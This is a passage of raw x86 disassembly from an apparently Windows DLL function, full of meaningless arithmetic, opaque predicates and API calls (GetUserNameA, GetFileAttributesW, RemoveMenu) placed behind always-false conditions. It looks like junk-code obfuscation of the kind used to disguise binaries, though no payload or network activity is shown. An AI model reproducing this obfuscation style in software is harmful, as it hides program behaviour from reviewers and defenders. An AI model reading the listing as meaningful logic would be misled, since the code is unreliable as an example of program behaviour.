mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
setl dl
xor eax, eax
sub edx, dword [ebp - 0x4c]
cmp dword [ebp - 0x10], edx
jg 0x1003a41b
cmp dword [ebp - 0x18], eax
je 0x1003a41b
inc eax
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
jg 0x1003a3cb
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 9
jl 0x1003a5bf
jmp 0x1003a43a
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff9
lea ecx, [ebp - 0xfa4]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x10], eax
push 1
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x1003a482
push dword [ebp - 0x10]
lea ecx, [ebp - 0xfa4]
call fcn.1001ae71
mov dword [eax], 0x5108d7eb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x1003a463
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x1003a4e8
mov dword [ebp - 0x40], 0x276cc72b
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x54], 0xf9e6a012
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003a4bb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13b0], 0xbda9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003a4a3
xor eax, eax
cmp dword [ebp - 0x13ac], eax
jne 0x1003a4e8
mov dword [ebp - 0x40], 9
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
neg eax
cmp eax, 1
push 0
setle cl
mov dword [ebp - 0x54], ecx
dec dword [ebp - 0x44]
pop eax
jns 0x1003a48a
mov ecx, dword [ebp - 0xbc]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
cmp edx, 0x95e04a27
ja 0x1003a560
mov dword [ebp - 0x54], 1
xor eax, eax
mov dword [ebp - 0x40], 0xf673
mov dword [ebp - 0x60], edi
cmp dword [ebp - 0x24], eax
jne 0x1003a51b
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x40]
neg eax
sbb eax, eax
inc eax
add ecx, eax
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edi
setge al
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10], eax
jmp 0x1003a5a3
mov eax, 0xffff
mov ecx, 0x3b58
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
xor eax, eax
cmp ecx, 0x3b28
setle al
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
neg eax
je 0x1003a595
xor eax, eax
lea ecx, [ebp - 0xfa4]
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0xfa4]
mov byte [ebp - 4], 0x19
call fcn.1001ae55
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 9
jge 0x1003a438
push 3
pop esi
mov dword [ebp - 0x48], 0xe617092f
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x14], 0xc29a3df6
mov dword [ebp - 0x2c], 0xa654fddd
push esi
call fcn.1001add3
mov byte [ebp - 4], 0x1d
xor eax, eax
mov dword [ebp - 0x3c], 0x56e6
xor ebx, ebx
mov dword [ebp - 0x60], 9
inc ebx
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x448]
cmp dword [ebp - 0x10], esi
jge 0x1003a628
push dword [ebp - 0x10]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
jmp 0x1003a60e
mov eax, dword [ebp - 0x14]
neg eax
push ebx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
call fcn.1001ae71
push ebx
lea ecx, [ebp - 0x448]
mov dword [eax], 0x703026d8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
call fcn.1001ae71
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xa9c5a74d
sbb ecx, ecx
xor eax, eax
neg ecx
neg ecx
cmp ecx, 0x129ec6ea
setne al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x14]
jge 0x1003a8b4
mov dword [ebp - 0x18], 0xa5fc
xor eax, eax
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003a6cc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1a60], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003a6b3
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003a8a5
mov dword [ebp - 0x54], 0x1cdf
xor ebx, ebx
mov dword [ebp - 0x4c], 5
mov dword [ebp - 0x1c], 0x92e414e4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x54]
imul ecx, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18], 0x8ffd
push 2
add ecx, eax
cmp ecx, 0xa501
lea ecx, [ebp - 0x448]
setl bl
call fcn.1001ae71
mov dword [eax], ebx
test ebx, ebx
jne 0x1003a725
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1003a725
mov ecx, eax
jmp 0x1003a728
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0x1e5de2ca
setne al
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x18], 0x19
jmp 0x1003a898
xor eax, eax
mov dword [ebp - 0x54], 0x133a5b7d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x1003a76d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x988], 0x697289f1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x1003a754
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffff4
cmp dword [ebp - 0x3c], 0x2a
jge 0x1003a895
jmp 0x1003a782
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003a7a4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1a48], 1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003a78b
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1003a877
push 2
lea ecx, [ebp - 0x448]
call fcn.1001ae71
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1003a7dd
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
add eax, 0x37b1
je 0x1003a7db
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1003a7db
inc eax
jmp 0x1003a7dd
xor eax, eax
xor ecx, ecx
cmp eax, 0xfffffff7
sete cl
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xa80aa4b6
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x1a44]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1a54]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov ecx, 0xffff
setge dl
xor eax, eax
cmp edx, 0x9bbc
setle al
sub eax, 0xf528
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x988]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x28]
jle 0x1003a875
xor esi, esi
inc esi
jmp 0x1003a879
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x448]
call fcn.1001ae71
mov dword [eax], esi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x2a
jl 0x1003a780
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xd
jge 0x1003a742
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff1
jge 0x1003a6d4
jmp 0x1003a9db
push 4
mov dword [ebp - 0x1c], 0x93197c82
lea ecx, [ebp - 0x878]
pop eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x11b8], edi
mov dword [ebp - 0x11b4], edi
mov dword [ebp - 0x11b0], edi
mov dword [ebp - 0x11ac], edi
push eax
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003a913
push dword [ebp - 0x10]
lea ecx, [ebp - 0x878]
call fcn.1001ae71
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003a8f4
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003a925
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1003a9c1
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x448]
push ebx
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
neg ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x878]
mov eax, dword [ebp - 0x11b4]
dec dword [ebp - 0x24]
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x878]
setl bl
dec ebx
call fcn.1001ae71
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
test ecx, ecx
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x40]
jne 0x1003a998
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x878]
mov eax, dword [ebp - 0x2c]
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, edi
setne dl
cmp edx, dword [eax]
jge 0x1003a9bf
xor edx, edx
inc edx
jmp 0x1003a9c3
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x878]
call fcn.1001ae55
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x19
call fcn.1001ae55
mov dword [ebp - 0x28], 0x9d0615a0
lea ecx, [ebp - 0x110]
push 2
call fcn.1001add3
mov byte [ebp - 4], 0x1f
xor eax, eax
mov dword [ebp - 0x1c], 0xa9ac70c3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003aa30
push dword [ebp - 0x10]
lea ecx, [ebp - 0x110]
call fcn.1001ae71
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003aa14
xor eax, eax
push eax
lea ecx, [ebp - 0x110]
call fcn.1001ae71
mov dword [eax], 0x13
jmp 0x1003aa66
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x1003aa58
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
push eax
lea ecx, [ebp - 0x110]
call fcn.1001ae71
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x110]
push eax
call fcn.1001ae71
cmp dword [eax], 0xfffffff1
jl 0x1003aa44
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x1c], eax
inc ebx
cmp dword [ebp - 0x1c], 0xffffffe3
je 0x1003ac31
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0xd94]
mov dword [ebp - 0x44], 0x5d840dfe
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x4c], 0xe6b87c26
mov dword [ebp - 0x38], 0x194e4064
push 2
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003aae1
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd94]
call fcn.1001ae71
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003aac6
xor eax, eax
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 7
jge 0x1003ac12
jmp 0x1003aaf5
xor eax, eax
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x110]
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x110]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x110]
push ebx
call fcn.1001ae71
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc6f0
jl 0x1003ab50
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1003ab50
mov ecx, eax
jmp 0x1003ab56
xor ecx, ecx
xor ebx, ebx
inc ecx
inc ebx
xor eax, eax
cmp ecx, ebx
mov ecx, dword [ebp - 0x1c]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xb13b1067
lea ecx, [ebp - 0x110]
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001ae71
lea ecx, [ebp - 0x110]
mov edi, dword [eax]
xor eax, eax
push eax
add edi, esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x4c]
xor edx, edx
cmp edi, ecx
lea ecx, [ebp - 0x110]
setne dl
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.1001ae71
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
push ebx
setge dl
lea ecx, [ebp - 0xd94]
add edx, 4
mov dword [ebp - 0x38], edx
mov esi, dword [ebp - 0x38]
neg esi
sbb esi, esi
call fcn.1001ae71
mov ecx, dword [ebp - 0x14]
mov edi, eax
xor eax, eax
neg esi
setne al
xor edx, edx
cmp eax, ecx
setne dl
cmp edx, 3
sbb ecx, ecx
neg ecx
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [edi], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
jl 0x1003aaf3
lea ecx, [ebp - 0xd94]
mov byte [ebp - 4], 0x1f
call fcn.1001ae55
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe3
jne 0x1003aa8b
or edi, 0xffffffff
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0x19
call fcn.1001ae55
mov dword [ebp - 0x48], 0x33e270b
lea ecx, [ebp - 0xc1c]
push ebx
call fcn.1001add3
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003ac8f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x774], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003ac76
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1003acb7
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc1c]
call fcn.1001ae71
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1003ac98
xor eax, eax
cmp dword [ebp - 0x774], eax
jne 0x1003aced
push eax
lea ecx, [ebp - 0xc1c]
call fcn.1001ae71
xor ebx, ebx
inc ebx
mov dword [eax], ebx
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x770]
mov eax, dword [ebp - 0x770]
cmp dword [ebp - 0x774], eax
jl 0x1003aced
xor eax, eax
mov ecx, eax
jmp 0x1003acf3
xor ecx, ecx
xor ebx, ebx
inc ecx
inc ebx
mov eax, dword [ebp - 0x770]
sub eax, ecx
lea ecx, [ebp - 0xc1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x770]
mov esi, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.1001ae71
lea ecx, [ebp - 0xc1c]
mov dword [eax], esi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x19
call fcn.1001ae55
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0x7cb3f4f4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
push 0xfffffffffffffff7
pop esi
jge 0x1003ad73
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x17c4], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003ad5e
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x1003ad95
push 0x451
push 0xb0f
push ebx
push eax
push 0x22bd
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1003adb3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x17c4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003ad9e
xor eax, eax
mov dword [ebp - 0x48], 0xdcedb1a7
mov dword [ebp - 0x48], 0xfffffff8
mov dword [ebp - 0xc8c], edi
mov dword [ebp - 0xc88], edi
mov dword [ebp - 0xc84], edi
mov dword [ebp - 0xc80], edi
mov dword [ebp - 0x4c], 0xd073ff82
mov dword [ebp - 0x4c], 0xfffffff9
mov dword [ebp - 0x40], 0xd0357257
mov dword [ebp - 0x54], edi
push 2
mov dword [ebp - 0x10], eax
pop ebx
cmp dword [ebp - 0x10], ebx
jge 0x1003ae13
mov ecx, 0xffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xc3c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003ae01
mov eax, dword [ebp - 0xc3c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xc80]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xc3c]
movdqa xmm0, xmmword [0x10007c90]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x4c]
push 0xfffffffffffffffa
movdqu xmmword [ebp - 0x152c], xmm0
cmp eax, 0xa945cb81
pop eax
setne cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x1928]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x151c]
push eax
lea eax, [ebp - 0x152c]
push eax
call fcn.1001ae80
lea ecx, [ebp - 0x1d8]
mov esi, eax
call fcn.10008c6b
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x410]
push dword [esi]
call fcn.1001ae2f
mov byte [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x4c], 0xd63a88e0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x40], 0xeab1d6a5
mov dword [ebp - 0x10], 0xcb27f08e
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], eax
jmp 0x1003aecf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1854], 0x3e8f0887
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003aebe
push ebx
lea ecx, [ebp - 0x410]
call fcn.1001ae71
mov ecx, dword [ebp - 0x54]
xor edx, edx
test ecx, ecx
setg dl
cmp edx, dword [eax]
jg 0x1003af05
push ebx
lea ecx, [ebp - 0x410]
call fcn.1001ae71
cmp dword [eax], 0
je 0x1003af05
xor edi, edi
inc edi
jmp 0x1003af09
xor eax, eax
mov edi, eax
push ebx
lea ecx, [ebp - 0x410]
call fcn.1001ae71
xor ecx, ecx
xor esi, esi
inc esi
cmp dword [eax], esi
setge cl
xor eax, eax
cmp edi, 0x5231fbf6
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x410]
setg al
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x40]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x410]
setge dl
xor eax, eax
mov dword [ebp - 0x10], edx
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x410]
setge bl
call fcn.1001ae71
xor edx, edx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x410]
push eax
call fcn.1001ae71
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax]
jne 0x1003afa3
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1003afa3
mov ecx, eax
jmp 0x1003afa6
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0x47507af9
lea ecx, [ebp - 0x410]
setg al
mov dword [ebp - 0x184c], eax
mov byte [ebp - 4], 0x19
call fcn.1001ae55
push 5
pop ebx
mov dword [ebp - 0x18], ebx
mov eax, 0x7965596
push 0xfffffffffffffff6
pop esi
mov dword [ebp - 0x24], esi
or edi, 0xffffffff
mov dword [ebp - 0x3c], 0x19d87263
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], eax
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], eax
jge 0x1003b025
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c4], 0x8dd2dc09
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x1003b00e
mov dword [ebp - 0x18], 0xfffffffb
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1003b0a8
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x18]
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xdfb1
setl al
xor edx, edx
imul eax, eax, 0xde6b
cmp eax, 0x886a
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
imul eax, ecx, 0xcef3
test eax, eax
jne 0x1003b0a8
mov ecx, eax
jmp 0x1003b0ab
xor ecx, ecx
inc ecx
xor eax, eax
test ecx, ecx
setns al
mov dword [ebp - 0x4a0], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1003b133
cmp dword [ebp - 0x24], esi
jne 0x1003b0e2
mov eax, dword [ebp - 0x4a0]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x18]
jl 0x1003b0e2
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1003b0e2
mov ecx, eax
jmp 0x1003b0e5
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
imul eax, ecx
test eax, eax
je 0x1003b0fb
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1003b0fd
xor edx, edx
inc edx
jmp 0x1003b0ff
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x24], ecx
je 0x1003b117
mov eax, dword [ebp - 0x4a0]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x1c4], 1
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 1
setl cl
xor eax, eax
cmp ecx, edi
mov dword [ebp - 0x49c], ecx
setl al
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003b177
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x1003b1fa
push 0x2033
push 0x1471
push eax
call dword [sym.imp.USER32.dll_RemoveMenu]
jmp 0x1003b1f8
mov dword [ebp - 0x40], 0xa872
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x10], eax
jmp 0x1003b197
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1f8], 0x26f5d9ae
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jl 0x1003b186
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x49c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x4a0], ecx
mov eax, dword [ebp - 0x44]
dec dword [ebp - 0x44]
cmp eax, ecx
jle 0x1003b1dc
xor edx, edx
inc edx
jmp 0x1003b1e0
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1f8]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x3c]
cmp edx, eax
sete cl
mov dword [ebp - 0x1f8], ecx
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ebx
jmp 0x1003b219
push dword [ebp - 0x18]
lea ecx, [ebp - 0x170]
call fcn.1001ae71
mov dword [eax], 0x85f7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003b202
push ebx
lea ecx, [ebp - 0x714]
call fcn.1001add3
xor eax, eax
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003b259
push dword [ebp - 0x10]
lea ecx, [ebp - 0x714]
call fcn.1001ae71
mov dword [eax], 0x41b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003b23b
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ebx
jmp 0x1003b33a
mov dword [ebp - 0x14], 0x6748f69f
mov dword [ebp - 0x14], eax
jmp 0x1003b2fd
cmp dword [ebp - 0x14], ebx
jle 0x1003b273
cmp dword [ebp - 0x1c], ebx
jle 0x1003b264
lea ecx, [ebp - 0x714]
mov byte [ebp - 4], 0x19
call fcn.1001ae55
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x1003b373
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x70], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1003b35d
mov dword [ebp - 0x14], 0x399841b3
mov dword [ebp - 0x40], 0xc47d1afd
mov dword [ebp - 0x4c], 5
mov dword [ebp - 0x14], 0xfffffff4
